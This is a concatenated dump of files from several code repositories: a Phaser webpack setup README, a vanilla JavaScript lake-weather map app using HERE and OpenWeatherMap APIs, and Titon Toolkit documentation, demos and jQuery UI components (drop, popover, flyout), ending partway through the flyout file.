5. Create webpack.config.js
6. Change package.json to add scripts
```
"scripts": {
"dev": "webpack --mode development && webpack-dev-server --mode development",
"build": "webpack --mode production && webpack-dev-server --mode production"
},
```
7. Add launch.json in .vscode to enable debugging
```
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "chrome",
"request": "launch",
"name": "Phaser (TypeScript) Debug",
"url": "http://localhost:8080",
"webRoot": "${workspaceFolder}",
"skipFiles": [
"node_modules/**"
],
"sourceMapPathOverrides": {
"webpack:///./*": "${webRoot}/*"
}
}
]
}
```
The key is to add this in webpack.config.js:
```
devtool: 'source-map',
```
> But after launch the debugger need to click "Restart" make the breakpoint works.
## How to use
```
> git clone https://github.com/zhouhao27/phaser3-typescript-webpack4 <YourProjectName>
> cd <YourProjectName>
> yarn
> yarn dev
```
## TODO:
Add a phaser-cli tool.
## References
[Phaser 3 and TypeScript](https://github.com/digitsensitive/phaser3-typescript)
[Using ESLint and Prettier in a TypeScript Project](https://dev.to/robertcoopercode/using-eslint-and-prettier-in-a-typescript-project-53jb)
## Tools
[TexturePacker (free version) for sprite atlases (JSON hash)](https://www.codeandweb.com/texturepacker)
[BFXR](https://www.bfxr.net/)
[Audiosprite](https://github.com/tonistiigi/audiosprite)
[Paint.net](https://www.getpaint.net/)
| 16780bbc0520c1d3791a3c98ce2b12af0b9d17c0 | [
"Markdown",
"TypeScript",
"JavaScript"
] | 9 | TypeScript | zhouhao27/create-phaser | b7afa0c702f1d0fd7d4c13a2f41f4719413dbb94 | df238cf7d863fc493facde704c826a13d04524a8 |
refs/heads/master | <repo_name>LucaBert89/LAKE-WEATHER-MAP<file_sep>/script.js
const cityBtn = document.getElementById("addcityBtn");
const suggestBtn = document.querySelector("#suggestBtn");
const closeBtn = document.querySelector("#closeBtn");
let locations = document.querySelector("#locations");
let locationsWeather = document.querySelector("#locationsWeather");
let iconWeather = document.querySelector("#weatherIcon");
let cityName = document.querySelector("#cityToday");
let temperature = document.querySelector("#temp")
let minTemperature = document.querySelector("#min");
let maxTemperature = document.querySelector("#max");
let searchCity = document.querySelector("#searchCity");
let lakes = [];
let message = document.querySelectorAll(".errorMessage");
let cityLatitude;
let cityLongitude;
let arraylakesLat = [];
let arraylakesLong = [];
(function init () {
function getPosition() {
return new Promise((res, rej) => {
navigator.geolocation.getCurrentPosition(res, rej);
});
};
getPosition()
.then((position) => {
cityLatitude = position.coords.latitude;
cityLongitude = position.coords.longitude;
map.setCenter({lat:cityLatitude, lng:cityLongitude});
map.setZoom(10);
let url = `https://api.openweathermap.org/data/2.5/weather?lat=${cityLatitude}&lon=${cityLongitude}&units=metric&appid=${process.env.API_KEY2}&lang=US`;
fetch(url)
.then(res => {
return res.json();
})
.then(body => {
weatherData(body);
displayWeather();
})
})
AOS.init();
closeBtn.addEventListener("click", closeForecast)
cityBtn.addEventListener("click", cityWeather);
suggestBtn.addEventListener("click", suggestLocation);
})();
AOS.init({
disable: false,
startEvent: 'DOMContentLoaded',
initClassName: 'aos-init',
animatedClassName: 'aos-animate',
useClassNames: false,
disableMutationObserver: false,
debounceDelay: 50,
throttleDelay: 99,
});
/* BUILD THE MAP */
var platform = new H.service.Platform({
'apikey': process.env.API_KEY
});
var defaultLayers = platform.createDefaultLayers();
/*function setmap(lat, lng) {*/
var map = new H.Map(
document.getElementById('mapid'),
defaultLayers.vector.normal.map,
{
center: {lat:52.5159, lng:13.3777},
zoom: 10,
pixelRatio: window.devicePixelRatio || 1
});
behavior = new H.mapevents.Behavior(new H.mapevents.MapEvents(map));
ui = H.ui.UI.createDefault(map, defaultLayers);
map.setBaseLayer(defaultLayers.raster.satellite.map);
window.addEventListener('resize', () => map.getViewPort().resize());
/*API calls for city temperature and weather */
function cityWeather() {
let city = searchCity.value;
let url = `https://api.openweathermap.org/data/2.5/weather?q=${city}&units=metric&appid=${process.env.API_KEY2}&lang=US`;
fetch(url)
.then(res => {
return res.json();
})
.then(body => {
weatherData(body);
})
.then (function () {
displayWeather();
map.setCenter({lat:cityLatitude, lng:cityLongitude});
map.setZoom(10);
})
.catch(error => {
return message[0].innerHTML = "Nome della località non trovato!"
})
}
function displayWeather () {
iconWeather.setAttribute("src", `https://openweathermap.org/img/w/` + icon + `.png` );
temperature.innerHTML = `${temp} °C`;
minTemperature.innerHTML = `${tempMin} °C`;
maxTemperature.innerHTML = `${tempMax} °C`;
return;
}
/*button to retrieve lakes location and then call marker function */
function suggestLocation() {
message[1].innerHTML = ""
if(cityLatitude === undefined) {
return message[1].innerHTML = "You need to insert a location or allow geolocation!"
}
map.setCenter({lat:cityLatitude, lng:cityLongitude});
map.setZoom(10);
limits = 20;
let url= `https://browse.search.hereapi.com/v1/browse?at=${cityLatitude},${cityLongitude}&limit=${limits}&categories=350-3500-0304&apikey=${process.env.API_KEY}`;
fetch(url)
.then(res => {
return res.json();
})
.then(body => {
for(i=0; i < body.items.length;i++) {
arraylakesLat[i] = body.items[i].access[0].lat;
arraylakesLong[i] = body.items[i].access[0].lng;
}
return [arraylakesLong,arraylakesLat];
})
.then(data => {
addMarkersToMap(map);
}
)
}
/*build the markers on the map adding a click event to retrieve latitude and longitude*/
function addMarkersToMap(map) {
removeMarker(lakes);
for(i=0; i < limits; i++) {
lake = new H.map.Marker({lat:arraylakesLat[i], lng:arraylakesLong[i]});
lakes[i] = lake;
}
map.addObjects(lakes);
for(i=0; i < limits;i++) {
lakes[i].addEventListener('tap', function (evt) {
var lakePos = map.screenToGeo(evt.currentPointer.viewportX,evt.currentPointer.viewportY);
var x = window.matchMedia("(max-width: 760px)")
if (x.matches) {
weatherOverlay();
}
apiWeather(lakePos.lat, lakePos.lng);
apiName(lakePos.lat, lakePos.lng);
});
}
function removeMarker(marker) {
if(map.getObjects(marker).length == limits){
map.removeObjects(marker);
}}
}
function weatherOverlay() {
if(locations.getAttribute("class") == "container pb-5 active") {
locations.classList.remove("active");
locationsWeather.remove("overlay");
} else {
locations.classList.add("active");
locationsWeather.classList.add("overlay");
}
}
/*pass longitude and latitude to weather API */
function apiWeather(lat, lon) {
let url = `https://api.openweathermap.org/data/2.5/onecall?lat=${lat}&lon=${lon}&units=metric&appid=${process.env.API_KEY2}&lang=US`;
fetch(url)
.then(res => {
return res.json();
})
.then(body => {
let forecast = document.querySelectorAll(".forecast");
let iconWeather = document.querySelectorAll(".weatherIcon");
let temp = document.querySelectorAll(".tempForecast");
let icon;
let dayWeather = document.querySelectorAll(".days");
function dayForecast(daytag, day) {
var days = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];
var d = new Date(body.daily[day].dt * 1000);
var dayName = days[d.getDay()];
dayWeather[daytag].innerHTML = dayName;
icon = body.daily[day].weather[0].icon;
forecast[daytag].innerHTML = body.daily[day].weather[0].description;
iconWeather[daytag].setAttribute("src", "https://openweathermap.org/img/w/" + icon + ".png" );
temp[daytag].innerHTML = body.daily[day].temp.day + "°C";
}
dayForecast(0,1)
dayForecast(1,2)
dayForecast(2,3)
}
)
}
function apiName(lat, lon) {
let url = `https://browse.search.hereapi.com/v1/browse?at=${lat},${lon}&limit=${limits}&categories=350-3500-0304&apikey=${process.env.API_KEY}`;
fetch(url)
.then(res => {
return res.json();
})
.then(body => {
let lakeForecast = document.querySelector("#lakeForecast");
lakeForecast.innerHTML = body.items[0].title;
})
}
function weatherData(bdy) {
message[0].innerHTML = "";
cityLatitude = bdy.coord.lat;
cityLongitude = bdy.coord.lon;
icon = bdy.weather[0].icon;
temp = bdy.main.temp;
tempMax = bdy.main.temp_max;
tempMin = bdy.main.temp_min;
}
function closeForecast (){
locations.classList.remove("active");
}
<file_sep>/README.md
# LAKE-WEATHER-MAP
In this project, inserting the location you can get the current weather data.
Scroll then down to the map and look for lakes near to the location inserted or your position pressing the "search" button. Check the weather of the next 3 days then.
I used **HERE API** and **openweathermap api** to realize this project. I used **webpack** and the **dotenv plugin** to hide apikeys.
Languages used:
- **HTML**
- **CSS** **BOOTSTRAP**
- **JAVASCRIPT VANILLA**
Bundler:
**webpack**
Deploy link:
https://lakeweathermap.netlify.app/
| 9abc00fca2e384626a8072ea453a18b64a61887f | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | LucaBert89/LAKE-WEATHER-MAP | bbebc828fb2eacd458daa0dcdb07a2794e7dca85 | c694465459856de0d71c42e6ecbf5efbe4585b42 |
refs/heads/master | <file_sep>```
______ ______ ______ __ __ __ __ ______
/\__ _\/\ __ \/\ __ \/\ \ /\ \/ /_ /\ \/\__ _\
\/_/\ \/\ \ \/\ \ \ \/\ \ \ \___\ \ _ \\ \ \/_/\ \/
\ \_\ \ \_____\ \_____\ \_____\ \_\ \_\\ \_\ \ \_\
\/_/ \/_____/\/_____/\/_____/\/_/\/_/ \/_/ \/_/
```
# Toolkit v2.0.2 - Gallant Golem #
Titon Toolkit is a collection of very powerful user interface components and utility classes
for the responsive, mobile, and modern web. Each component represents encapsulated HTML, CSS,
and JavaScript functionality for role specific page elements.
Toolkit makes use of the latest and greatest technology. This includes HTML5 for semantics,
CSS3 for animations and styles, Sass for CSS pre-processing, Gulp for task and package management,
and powerful new browser APIs for the JavaScript layer.
* [Release Notes](https://github.com/titon/toolkit/blob/master/docs/en/releases/2.0.md)
* [Official Website](http://titon.io/toolkit)
* [Features](http://titon.io/toolkit#features)
* [Components](http://titon.io/toolkit#components)
* [Interactive Demo](http://demo.titon.io/)
## Learn More ##
* [Documentation](https://github.com/titon/toolkit/tree/master/docs/en)
* [Getting Started](https://github.com/titon/toolkit/blob/master/docs/en/setup/getting-started.md)
* [Downloading & Installing](https://github.com/titon/toolkit/blob/master/docs/en/setup/installing.md)
* [Custom Builds](https://github.com/titon/toolkit/blob/master/docs/en/setup/custom-builds.md)
* [Browser Compatibility](https://github.com/titon/toolkit/blob/master/docs/en/support/compatibility.md)<file_sep># Changelog #
Older versions can be found in the documentation changelogs.
## 2.0.2 ##
* Updates and fixes for documentation.
## 2.0.1 ##
* Removed the grid placeholders `%row` and `%col` as they would be included in the CSS output multiple times (use the mixins instead)
* Removed `grid` as a dependency for the `form` component
## 2.0.0 ##
This major release includes a rewritten class, event, hooks, and component layer.
It improves overall tooling, drops out dated technologies, introduces new concepts, and more.
Check out the release update for more information.
* Dropped MooTools support
* Dropped IE8 support
* Upgraded to jQuery 2
* Upgraded to Gulp from Grunt
* Upgraded to libsass over Ruby Sass
* Upgraded to Sass 3.4 and Compass 1.0
* Upgraded to RequireJS for JS dependency management and compilation
* Added a robust namespacing system which allows components to be nested within each other
* Added unit tests for all components through Mocha, Chai, and PhantomJS
* Added new `horizontalresize` and `verticalresize` events
* Decoupled the CSS and JS layers so that CSS classes (excluding states) are no longer hardcoded
* Refactored components to make more use of templates for DOM building
* Renamed most instances of the word "component" to "plugin" to differentiate between components and behaviors,
with plugins being a top-level grouping of everything
* Renamed `--components` to `--plugins` in the Gulp command line
* Removed themes
* Sass
* Added `$enable-small-size` and `$enable-large-size` to toggle size classes in CSS output
* Added `$enable-all-effects`, `$enable-all-modifiers`, and `$enable-all-animations` for easier styling
* Added `$breakpoint-range-xsmall`, `$breakpoint-range-small`, `$breakpoint-range-medium`, `$breakpoint-range-large`,
and `$breakpoint-range-xlarge` for responsive range breakpoints
* Added `$bem-element-separator` and `$bem-modifier-separator` to control the BEM class conventions
* Added `class-name()` and `bem()` for building CSS class names
* Added `full-screen()` mixin for full screen fixed positioning
* Added `in-range($range)` mixin that will accept a range of breakpoints and output the correct min/max width media query
* Added `in-xsmall()`, `in-xlarge()`, `if-xsmall()`, and `if-xlarge()` responsive mixins
* Fixed a bug in `join-classes()` when a class name doesn't start with a period
* Moved `.span-*` classes from the Grid component into the shared base file
* Updated all component CSS class names to use Sass variables for more configuration control
* Updated all modifiers to not use `@extend` to reduce CSS output (requires full class declarations now)
* Updated all modifiers to be toggleable through Sass variables
* Updated `:before` and `:after` pseudo elements to use double colon `::` syntax
* Updated `$size-*` and `$shape-*` variables to be prefixed by default with a `.`
* Refactored effects into their respective components that can be toggled through Sass variables
* Refactored the visual effects into modifiers for the Button component
* Removed `is-active()`, `is-disabled()`, and `is-*()` state mixins
* Removed `in-mobile()`, `in-tablet()`, `in-desktop()`, `if-mobile()`, `if-tablet()`, and `if-desktop()` responsive mixins
* Removed `.arrow-*` classes
* Removed `$breakpoint-*` variables and replaced with with range list variables
* JavaScript
* Added a `Base` class layer that both `Component` and `Behavior` extend
* Added a new hook layer to `Base` that replaces the instance event layer
* Added `$.fn.toString()` which returns the elements markup as a string
* Added a debugging layer and a new `debug` option
* Improved the prototype inheritance layer by initializing a new class instead of extending objects
* Refactored the class layer so that constructors are passed as a property instead of an argument
* Refactored so that class properties are passed through an object instead of set through the constructor
* Removed `$.cookie()` and `$.removeCookie()` methods (use a third-party instead)
* Renamed `$.fn.addData()` to `$.fn.cache()`
* Updated `$.fn.conceal()` to set the element to display none when the transitions is complete
* Updated `$.fn.reveal()` to set the element to display block (or similar) before transitions occur
* Component
* Added `hiding`, `showing`, and `destroying` events
* Added option groups
* Added `namespace` property
* Added `ns()` method for generating namespace selectors
* Updated the `ajax` option to only be used for setting jQuery AJAX options
* Refactored the `requestData()` method
* Added `url`, `cache` (whether to cache in the class), and `settings` (AJAX settings) to the XHR object used by jQuery
* Removed the `before`, `done`, and `fail` arguments
* Moved the callbacks into `onRequestBefore`, `onRequestDone`, and `onRequestFail` methods
* Renamed the `hide` event to `hidden`
* Renamed the `show` event to `shown`
* Renamed the `destroy` event to `destroyed`
* Renamed the `component` property to `name`
* Renamed the `doDestroy` method to `destructor`
* Components
* Accordion
* The active class is now applied to the header instead of the parent `li`
* Added `calculate()` method for determining section heights
* Removed the `jump` event
* Renamed selectors `.accordion-header`, `.accordion-section` to `[data-accordion-header]`, `[data-accordion-section]`
* Blackout
* Added `loaderTemplate` and `showLoading` options for generating loader markup
* Removed `hideLoader` and `showLoader` events
* Removed `loader` and `waveCount` options in favor of `loaderTemplate`
* Renamed `Toolkit.Blackout.factory()` to `Toolkit.Blackout.instance()`
* Carousel
* Added a `calculate()` method that triggers on load/resize to determine carousel dimensions
* Added a `swipe` option for toggling swipe events
* Added `cycling`, `cycled`, `jumping` and `jumped` events
* Removed `cycle` and `jump` events
* Renamed selectors `.carousel-items ul`, `.carousel-tabs`, `.carousel-next`, `.carousel-prev`, `.carousel-start`, `.carousel-stop` to
`[data-carousel-items]`, `[data-carousel-tabs]`, `[data-carousel-next]`, `[data-carousel-prev]`, `[data-carousel-start]`, `[data-carousel-stop]`
* Removed `.carousel-prev`, `.carousel-next`, and `.carousel-tabs` styles
* Divider
* Improved the divider to support longer strings of text and multiline text
* Drop
* All drop menus will now require a `data-drop-menu` attribute
* Flyout
* Added `headingTemplate` option
* Renamed selectors `.flyout` to `[data-flyout-menu]`
* Form
* Improved disabled state across inputs
* Normalized `fieldset` and `legend` when used in an inline form
* Grid
* Added new `xsmall` and `xlarge` (disabled by default) column sizes
* Added `$grid-sizes` map for associating sizes to breakpoints and column counts
* Added `$grid-columns-xsmall` and `$grid-columns-xlarge` for new column counts
* Added `$grid-class-end` to change the `.end` class
* Changed `$grid-columns-small` from `6` to `12`
* Fixed a bug where `.push-*` and `.pull-*` classes were being generated if `$grid-push-pull` was disabled
* Removed the `mobile`, `tablet`, and `desktop` column sizes
* Removed `$grid-columns-mobile`, `$grid-columns-tablet`, and `$grid-columns-desktop`
* Icon
* Added a `$icon-sizes` list variable to control the CSS output
* Input
* Added a `filterClasses` option which can be used in conjunction with `copyClasses`
* Added `template`, `checkboxTemplate`, `radioTemplate`, `selectTemplate`, `optionsTemplate`, `headingTemplate`, and `descTemplate`
* Renamed `arrowContent` to `arrowTemplate`
* Renamed selectors `.select-options`, `.select-label`, `.select-arrow` to
`[data-select-options]`, `[data-select-label]`, `[data-select-arrow]`
* Lazy Load
* Added `loading` and `loaded` events
* Added a `lazyClass` option that defaults to `.lazy-load`
* Added a `timer` property
* Fixed a bug where `shutdown` event was being called twice
* Removed `load` event
* Mask
* Added `template` and `messageTemplate` options
* Renamed `.mask-target` to `.is-maskable`
* Renamed selectors `.mask`, `.mask-message` to `[data-mask]`, `[data-mask-message]`
* Matrix
* Added `appending`, `prepending`, `removing`, `rendering`, and `rendered` events
* Improved the deferred image rendering process and item fade in animation
* Removed `render` event
* Updated to no longer automatically set `.matrix` on the container
* Modal
* Added a `clickout` option for toggling clickout events
* IDs can now be passed as the 2nd argument to `show()`
* Removed the `ajax` option (handled by `loadContent()`)
* Renamed selectors `.modal-inner`, `.modal-hide`, `.modal-submit` to
`[data-modal-content]`, `[data-modal-close]`, `[data-modal-submit]`
* Off Canvas
* Added a `swipe` option
* Renamed selectors `.on-canvas`, `.off-canvas` to `[data-offcanvas-content]`, `[data-offcanvas-sidebar]`
* Updated so that `[data-offcanvas-sidebar]` defines the default side orientation
* Updated to no longer automatically set `.off-canvas` on the sidebar
* Pagination
* Updated to only support `ol` lists
* Pin
* Updated to have position absolute by default for `.pin`
* Updated to no longer automatically set `.pin` on the element
* Popover
* Updated so that an `.is-active` class is toggled on the target node
* Updated the `follow` attribute to `false` always
* Removed the `delay` option
* Renamed selectors `.popover-head`, `.popover-body` to `[data-popover-header]`, `[data-popover-content]`
* Responsive
* Added `.show-xsmall`, `.show-xlarge`, `.hide-xsmall`, and `.hide-xlarge` classes
* Removed `.show-mobile`, `.show-tablet`, `.show-desktop`, `.hide-mobile`, `.hide-tablet`, and `.hide-desktop` classes
* Removed `$responsive-size` variable
* Showcase
* Added a `swipe` option for toggling swipe events
* Added a `clickout` option for toggling clickout events
* Added `jumping` and `jumped` events
* Removed `jump` event
* Removed `.showcase-prev`, `.showcase-next`, and `.showcase-tabs` styles
* Renamed selectors `.showcase-items`, `.showcase-tabs`, `.showcase-next`, `.showcase-prev`, `.showcase-hide`, `.showcase-caption` to
`[data-showcase-items]`, `[data-showcase-tabs]`, `[data-showcase-next]`, `[data-showcase-prev]`, `[data-showcase-close]`, `[data-showcase-caption]`
* Stalker
* Added `activating`, `activated`, `deactivating`, and `deactivated` events
* Removed the `applyToParent` option
* Removed `activate` and `deactivate` events
* Updated to no longer automatically set `.stalker`, `.stalker-target`, and `.stalker-marker`
* Switch
* The `.pill` and `.round` classes have moved to `.switch-bar` from `.switch`
* Tabs
* Has been renamed to `Tab` and all files and references have been changed
* Option `preventDefault` now applies to both cookie and fragment persistence
* Option `ajax` has changed to `false` by default
* Fixed a bug trying to determine the index to show on load
* Renamed selectors `.tab-nav`, `.tab-section` to `[data-tab-nav]`, `[data-tab-section]`
* Updated the `is-active` state to be set on the tab, instead of the parent `li`
* Toast
* Added a `toastTemplate` property
* Added a `reset()` method to reset the tooltip state
* Tooltip
* Removed the `ajax` option (handled by `loadContent()`)
* Removed the `delay` option
* Renamed selectors `.tooltip-head`, `.tooltip-body` to `[data-tooltip-header]`, `[data-tooltip-content]`
* Type Ahead
* Added `shadowTemplate`, `titleTemplate`, `descTemplate`, `highlightTemplate`, and `headingTemplate` options
* The `matcher` function now accepts the item object as the 1st argument
<file_sep>/**
* @copyright 2010-2015, The Titon Project
* @license http://opensource.org/licenses/BSD-3-Clause
* @link http://titon.io
*/
define([
'jquery',
'./component',
'../events/clickout',
'../extensions/shown-selector'
], function($, Toolkit) {
Toolkit.Drop = Toolkit.Component.extend({
name: 'Drop',
version: '2.0.0',
/**
* Initialize the drop.
*
* @param {jQuery} nodes
* @param {Object} [options]
*/
constructor: function(nodes, options) {
this.nodes = $(nodes);
this.options = this.setOptions(options);
// Set events
this.addEvents([
['clickout', 'document', 'hide', this.ns('menu')],
['clickout', 'document', 'hide', '{selector}'],
['{mode}', 'document', 'onShow', '{selector}']
]);
// Initialize
this.initialize();
},
/**
* Hide element when destroying.
*/
destructor: function() {
this.hide();
// Hide all other menus as well
$(this.ns('menu')).conceal();
},
/**
* Hide the opened element and remove active state.
*/
hide: function() {
var element = this.element;
if (element && element.is(':shown')) {
this.fireEvent('hiding');
element.conceal();
this.node
.aria('toggled', false)
.removeClass('is-active');
this.fireEvent('hidden', [element, this.node]);
}
},
/**
* Open the target menu and apply active state.
*
* @param {jQuery} menu
* @param {jQuery} node
*/
show: function(menu, node) {
this.fireEvent('showing');
this.element = menu = $(menu).reveal();
this.node = node = $(node)
.aria('toggled', true)
.addClass('is-active');
this.fireEvent('shown', [menu, node]);
},
/**
* When a node is clicked, grab the target from the attribute.
* Validate the target element, then either display or hide.
*
* @param {jQuery.Event} e
* @private
*/
onShow: function(e) {
e.preventDefault();
var node = $(e.currentTarget),
options = this.options,
target = this.readValue(node, options.getTarget);
if (!target || target.substr(0, 1) !== '#') {
return;
}
// Hide previous drops
if (options.hideOpened && this.node && !this.node.is(node)) {
this.hide();
}
var menu = $(target);
if (!menu.is(':shown')) {
this.show(menu, node);
} else {
this.element = menu;
this.hide();
}
}
}, {
mode: 'click',
getTarget: 'data-drop',
hideOpened: true
});
Toolkit.create('drop', function(options) {
return new Toolkit.Drop(this, options);
}, true);
return Toolkit;
});<file_sep><button class="button" id="mask-content">Mask Content</button>
<button class="button" id="mask-document">Mask Document</button>
<hr class="demo-spacer">
<div id="titans">
<p>In Greek mythology, the Titans were a primeval race of powerful deities,
descendants of Gaia (Earth) and Uranus (Sky), that ruled during the legendary Golden Age.
They were immortal giants of incredible strength and were also the first pantheon of Greek gods and goddesses.</p>
<p>In the first generation of twelve Titans, the males were Oceanus, Hyperion, Coeus, Cronus, Crius,
and Iapetus and the females—the Titanesses or Titanides—were Mnemosyne, Tethys, Theia, Phoebe, Rhea, and Themis.
The second generation of Titans consisted of Hyperion's children Helios, Selene and Eos;
Coeus's daughters Leto and Asteria; Iapetus's children Atlas, Prometheus, Epimetheus, and Menoetius;
Oceanus' daughter Metis; and Crius' sons Astraeus, Pallas, and Perses.</p>
<p>The Titans were overthrown by a race of younger gods, the Olympians, in the Titanomachy ("War of the Titans").
The Greeks may have borrowed this mytheme from the Ancient Near East.</p>
<div class="mask hide" data-mask>
<div class="mask-message" data-mask-message>This message is defined in the source.</div>
</div>
</div>
<script>
$(function() {
$('#titans').mask({
selector: '#mask-content'
});
$('body').mask({
revealOnClick: true,
selector: '#mask-document',
messageContent: 'This message is defined through options.'
});
});
</script><file_sep># Versioning #
Steps for tagging a new release that should be followed after a feature branch has merged into master.
These docs are for internal use only.
* Update normalize.css
* Disable all Sass effects, modifiers, and animations
* Test code with `gulp`
* Regression testing on all components with the compiled code
* Find any issues, fix them and restart version process
* Update version numbers
* `bower.json`, `package.json`, `readme.md`, `toolkit.gemspec`, `version.md`
* Update `version` property for JS components that have been modified
* Verify `manifest.json` changes
* Add new components
* Add `version` field for new components
* Update dependencies
* Update `changelog.md` and the changelog found in docs
* Generate new documentation TOC with `gulp docs`
* Add any `new` or `updated` flags to TOC
* Prepare release with `gulp --dist`
* Fix the comment docblocks
* Quick tests with the distribution files
* Verify changes with `git diff`
* Publish changes
* `git tag *`
* `git push --tags`
* Update gem
* `gem build toolkit.gemspec`
* `gem push *`
* Update NPM
* `npm publish`<file_sep>The Twelve Olympians were the principal deities of the Greek pantheon, residing atop a mythical Mount Olympus.<file_sep>/**
* @copyright 2010-2015, The Titon Project
* @license http://opensource.org/licenses/BSD-3-Clause
* @link http://titon.io
*/
define([
'jquery',
'./tooltip',
'../flags/vendor'
], function($, Toolkit, vendor) {
var TooltipPrototype = Toolkit.Tooltip.prototype;
Toolkit.Popover = Toolkit.Tooltip.extend({
name: 'Popover',
version: '2.0.0',
/**
* Initialize the popover.
*
* @param {jQuery} nodes
* @param {Object} [options]
*/
constructor: function(nodes, options) {
options = options || {};
options.mode = 'click'; // Click only
options.follow = false; // Disable mouse follow
TooltipPrototype.constructor.call(this, nodes, options);
},
/**
* {@inheritdoc}
*/
reset: function() {
TooltipPrototype.reset.call(this);
if (this.node) {
this.node.removeClass('is-active');
}
},
/**
* {@inheritdoc}
*/
show: function() {
TooltipPrototype.show.apply(this, arguments);
if (this.node) {
this.node.addClass('is-active');
}
}
}, {
getContent: 'data-popover',
template: '<div class="' + vendor + 'popover">' +
'<div class="' + vendor + 'popover-inner">' +
'<div class="' + vendor + 'popover-head" data-popover-header></div>' +
'<div class="' + vendor + 'popover-body" data-popover-content></div>' +
'</div>' +
'<div class="' + vendor + 'popover-arrow"></div>' +
'</div>'
});
Toolkit.create('popover', function(options) {
return new Toolkit.Popover(this, options);
}, true);
return Toolkit;
});<file_sep><p>Titans were a primeval race of powerful deities, descendants of Gaia (Earth) and Uranus (Sky),
that ruled during the legendary Golden Age. They were immortal giants of incredible strength and
were also the first <span title="Greek Pantheon" data-popover="ajax/pantheon.html" data-popover-ajax="true" data-popover-position="bottom-center">pantheon</span>
of Greek gods and goddesses.</p>
<p>In the first generation of twelve Titans, the males were
<span data-popover="Titan of the Earth-river" data-popover-position="top-left">Oceanus</span>,
<span data-popover="Titan of Light" data-popover-position="top-center">Hyperion</span>,
<span data-popover="Titan of Intelligence" data-popover-position="top-right">Coeus</span>,
<span data-popover="King of the Titans" data-popover-position="bottom-left">Cronus</span>,
<span data-popover="Titan of the Heavens" data-popover-position="bottom-center">Crius</span>,
and <span data-popover="Titan of Mortality" data-popover-position="bottom-right">Iapetus</span>
and the females—the Titanesses or Titanides—were
<span data-popover="Titaness of Memory" data-popover-position="top-left">Mnemosyne</span>,
<span data-popover="Titaness of Water" data-popover-position="top-center">Tethys</span>,
<span data-popover="Titaness of Sight" data-popover-position="top-right">Theia</span>,
<span data-popover="Titaness of the Moon" data-popover-position="bottom-left">Phoebe</span>,
<span data-popover="Titaness of Fertility" data-popover-position="bottom-center">Rhea</span>,
and <span data-popover="Titaness of Justice" data-popover-position="bottom-right">Themis</span>.
The second generation of Titans consisted of Hyperion's children Helios, Selene and Eos;
Coeus's daughters Leto and Asteria; Iapetus's children Atlas, Prometheus, Epimetheus, and Menoetius;
Oceanus' daughter Metis; and Crius' sons Astraeus, Pallas, and Perses.</p>
<p>The Titans were overthrown by a race of younger gods, the
<span title="Olympians" data-popover="ajax/olympians.html" data-popover-ajax="true" data-popover-position="center-left">Olympians</span>,
in the <span title="Titanomachy" data-popover="ajax/titanomachy.html" data-popover-ajax="true" data-popover-position="center-right">Titanomachy</span>.
The Greeks may have borrowed this mytheme from the Ancient Near East.</p>
<script>
$(function() {
$('[data-popover]').popover({
animation: 'from-above'
});
});
</script><file_sep>/**
* @copyright 2010-2015, The Titon Project
* @license http://opensource.org/licenses/BSD-3-Clause
* @link http://titon.io
*/
define([
'jquery',
'./component',
'../flags/vendor',
'../extensions/shown-selector'
], function($, Toolkit, vendor) {
Toolkit.Flyout = Toolkit.Component.extend({
name: 'Flyout',
version: '2.0.0',
/** Current URL to generate a flyout menu for. */
current: null,
/** Collection of flyout elements indexed by URL. */
menus: {},
/** Raw sitemap JSON data. */
data: [],
/** Data indexed by URL. */
dataMap: {},
/** Show and hide timers. */
timers: {},
/**
* Initialize the flyout. A URL is required during construction.
*
* @param {jQuery} nodes
* @param {String} url
* @param {Object} [options]
*/
constructor: function(nodes, url, options) {
this.nodes = $(nodes);
this.options = options = this.setOptions(options);
if (options.mode === 'click') {
this.addEvent('click', 'document', 'onShowToggle', '{selector}');
} else {
this.addEvents([
['mouseenter', 'document', 'onShowToggle', '{selector}'],
['mouseenter', 'document', 'onEnter', '{selector}'],
['mouseleave', 'document', 'onLeave', '{selector}']
]);
}
this.initialize();
// Load data from the URL
if (url) {
$.getJSON(url, this.load.bind(this));
}
},
/**
* Remove all the flyout menu elements and timers before destroying.
*/
destructor: function() {
$.each(this.menus, function(i, menu) {
menu.remove();
});
this.clearTimer('show');
this.clearTimer('hide');
},
/**
* Clear a timer by key.
*
* @param {String} key
*/
clearTimer: function(key) {
clearTimeout(this.timers[key]);
delete this.timers[key];
},
/**
* Hide the currently shown menu.
*/
hide: function() {
// Must be called even if the menu is hidden
if (this.node) {
this.node.removeClass('is-active');
}
if (!this.isVisible()) {
return;
}
this.fireEvent('hiding');
this.element.conceal();
this.fireEvent('hidden');
// Reset last
this.element = this.current = null;
},
/**
* Return true if the current menu exists and is visible.
*
* @returns {bool}
*/
isVisible: function() {
if (this.current && this.menus[this.current]) {
this.element = this.menus[this.current];
}
return (this.element && this.element.is(':shown'));
},
/**
* Load the data into the class and save a mapping of it.
*
* @param {Object} data
* @param {Number} [depth]
*/
load: function(data, depth) {
depth = depth || 0;
// If root, store the data
if (depth === 0) {
this.data = data;
}
// Store the data indexed by URL
if (data.url) {
this.dataMap[data.url] = data;
}
if (data.children) {
for (var i = 0, l = data.children.length; i < l; i++) {
this.load(data.children[i], depth + 1);
}
}
},
/**
* Position the menu below the target node.
*/
position: function() {
var target = this.current,
options = this.options;
if (!this.menus[target]) {
return;
}
this.fireEvent('showing');
var menu = this.menus[target],
height = menu.outerHeight(),
coords = this.node.offset(),
x = coords.left + options.xOffset,
y = coords.top + options.yOffset + this.node.outerHeight(),
windowScroll = $(window).height();
// If menu goes below half page, position it above
if (y > (windowScroll / 2)) {
y = coords.top - options.yOffset - height;
}
menu.css({
left: x,
top: y
}).reveal();
this.fireEvent('shown');
},
/**
* Show the menu below the node.
*
* @param {jQuery} node
*/
show: function(node) {
var target = this._getTarget(node);
// When jumping from one node to another
// Immediately hide the other menu and start the timer for the current one
if (this.current && target !== this.current) {
this.hide();
this.startTimer('show', this.options.showDelay);
}
this.node = $(node);
// Find the menu, else create it
if (!this._getMenu()) {
return;
}
this.node.addClass('is-active');
// Display immediately if click
if (this.options.mode === 'click') {
this.position();
}
},
/**
* Add a timer that should trigger a function after a delay.
*
* @param {String} key
* @param {Number} delay
* @param {Array} [args]
*/
